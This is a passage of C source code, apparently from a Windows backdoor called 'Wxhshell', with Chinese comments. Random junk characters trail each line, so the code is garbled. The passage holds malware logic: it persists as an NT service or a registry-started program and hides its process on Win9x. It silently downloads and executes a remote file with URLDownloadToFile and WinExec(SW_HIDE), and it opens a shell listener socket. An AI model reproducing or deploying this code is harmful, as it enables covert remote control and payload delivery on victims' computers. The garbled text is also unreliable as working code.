ULONG UniqueProcessId; k5wi'
ULONG InheritedFromUniqueProcessId; GYd]5`ri
} PROCESS_BASIC_INFORMATION; -/zp&*0gcx
MO-!TZ+6
PROCNTQSIP NtQueryInformationProcess; te)n{K",
#9i6+. Z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0potz]}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6ga5^6W
T(JuL<PB
HANDLE hProcess; <~N%W#z/
PROCESS_BASIC_INFORMATION pbi; jP+ pA e
*!Y-!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eHUg-\dy
if(NULL == hInst ) return 0; kQIfYtT
, |l@j%
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
#I;D
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9qr UM`z$g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &Xv1[nByU
%kq ^]S2O
if (!NtQueryInformationProcess) return 0; {c@G$
S.W^7Ap
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &L%Jy #=
if(!hProcess) return 0; U;pe:
/=TH08
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'y.JcS!|
rGQ5l1</
CloseHandle(hProcess); vr 4O8#
=T4u":#N;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \Tyf *:_F>
if(hProcess==NULL) return 0; (i]Z|@|)
> ws!5q
HMODULE hMod; ZE
rdt:w
char procName[255]; AWT"Y4Ie
unsigned long cbNeeded; iDw.i"b
3$_*N(e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4-V)_U#8
`|EH[W&y
CloseHandle(hProcess); s"coQ!e1.
I+"
lrU
if(strstr(procName,"services")) return 1; // 以服务启动 4H-j
.|e
88 l,&2q
return 0; // 注册表启动 B.*"Xfr8
} 'E -FO_N
iP#=:HZu;
// 主模块 ezn`
_x_?
int StartWxhshell(LPSTR lpCmdLine) )7Ixz1I9g
{ .$0Pr%0pWI
SOCKET wsl; ne*#+Q{E
BOOL val=TRUE; Q'K$L9q
int port=0; 0hwj\{"
struct sockaddr_in door; `Mk4sKU\a
:Q7mV%%
if(wscfg.ws_autoins) Install(); xA #H0?a]
|')-VhLLK
port=atoi(lpCmdLine); O%g\B8;
b\giJ1NJB
if(port<=0) port=wscfg.ws_port;
"SR5wr
Hb!6ZEmN%
WSADATA data; bX2"89{
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ehT%s+aUw
*
t!r@k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Y(r@v
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wkBL=a
door.sin_family = AF_INET; j?-R]^-5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); K5`Rk"s
door.sin_port = htons(port); <2<87PU
9/kXc4
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $iPP|Rw
closesocket(wsl); ;Z9IZ~
return 1; <n^3uXzD
} 0^&!6R
8\#
^k#X
if(listen(wsl,2) == INVALID_SOCKET) { 3ZojE ux`
closesocket(wsl); `@XehSQ
return 1; 2f,2rW^i
} 3n48 %5
Wxhshell(wsl); ~xDw*AC-
WSACleanup(); |[1D$Qv
5<+KR.W
return 0; /!T> b:0
Z<"K_bj
} 4l @)K9F
|/T43ADW
// 以NT服务方式启动 fdv`7u+}a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LM"y\q ]
{ CdZ BG
DWORD status = 0; n:4uA`Vg
DWORD specificError = 0xfffffff; v(O=IUa
i9m*g*"2
serviceStatus.dwServiceType = SERVICE_WIN32; b{5K2k&,
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xs!p|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yPgmg@G@/
serviceStatus.dwWin32ExitCode = 0; J/ W{/E>;
serviceStatus.dwServiceSpecificExitCode = 0; s>%Pd7:
serviceStatus.dwCheckPoint = 0; TH?9< C-C
serviceStatus.dwWaitHint = 0; r;gP}H ?
*b)Q5dw@1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YnTB&GPxl
if (hServiceStatusHandle==0) return; k
\qiF|B)Z
|vILp/"9=W
status = GetLastError(); SEd5)0X^
if (status!=NO_ERROR) Cifd21v4
{ ?c#$dc"
serviceStatus.dwCurrentState = SERVICE_STOPPED; z`U Ukl}T
serviceStatus.dwCheckPoint = 0; (^n*Am;zlH
serviceStatus.dwWaitHint = 0; e3m*i}K}
serviceStatus.dwWin32ExitCode = status; uk7'K 0j
serviceStatus.dwServiceSpecificExitCode = specificError; -<f;l_(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %XTA;lrz
return; }!s!;BOx
} }Je>;{&%
23ze/;6%A
serviceStatus.dwCurrentState = SERVICE_RUNNING; H0*,8i5I
serviceStatus.dwCheckPoint = 0; ,k0r
serviceStatus.dwWaitHint = 0; ~?Omy8#
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tE"Si<[]H$
} G/?~\
}:s
Lm%GR[tyQ
// 处理NT服务事件,比如:启动、停止 5#2F1NX
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6Bt=^~d
{
l]_=:)" ]
switch(fdwControl) XFqJ 'R
{ Qt+:4{He
case SERVICE_CONTROL_STOP: e@]Wh)
serviceStatus.dwWin32ExitCode = 0; 39TT{>?`w
serviceStatus.dwCurrentState = SERVICE_STOPPED; -kj< 1~YW
serviceStatus.dwCheckPoint = 0; C"w
{\
&R
serviceStatus.dwWaitHint = 0; Pz"`MB<'Ik
{ yTBS=+X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); m7qqY
} V H^AcO
return; BavO\{J#|0
case SERVICE_CONTROL_PAUSE: \nvAa_,
serviceStatus.dwCurrentState = SERVICE_PAUSED; O#kq^C}
break; v"Jgw;3
case SERVICE_CONTROL_CONTINUE: 0GXO&rCG
serviceStatus.dwCurrentState = SERVICE_RUNNING; >G"X J<IO
break; fI|[Z+"
case SERVICE_CONTROL_INTERROGATE: Qx`~g,wk8
break; ,^'R_efY
}; r/:%}(7;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CAc
%f9!3
} ~H /2R
j 6)Y
// 标准应用程序主函数 !~iGu\y
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >_ \<E!j
{ C !x/
^gw
n!ok?=(kQ
// 获取操作系统版本 8;\sU?
OsIsNt=GetOsVer(); wz
/GB8P
GetModuleFileName(NULL,ExeFile,MAX_PATH); KFWJ}pNq
4Yjx{5QSAG
// 从命令行安装 N2,D:m\
if(strpbrk(lpCmdLine,"iI")) Install(); RDQ^dui
3Rv7Qx
// 下载执行文件 lE#m]D
if(wscfg.ws_downexe) { #`SD$;
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mDMt5(.
WinExec(wscfg.ws_filenam,SW_HIDE); E;(Rm>lB
} m7|RD]q&
8<#U9]
if(!OsIsNt) { 3:CO{=`\7B
// 如果时win9x,隐藏进程并且设置为注册表启动 W?RE'QV8
HideProc(); tiaR4PB
StartWxhshell(lpCmdLine); nKh&-E
} NucM+r1P
else .p6+l!"
if(StartFromService()) 0Bolv_e
// 以服务方式启动 uOi&G:=
StartServiceCtrlDispatcher(DispatchTable); O>0VTW
else 9@VO+E$7L
// 普通方式启动 Zm TDQ`Ix
StartWxhshell(lpCmdLine); (!K_Fy@
CnF |LTi
return 0; MXh
"Y*}
}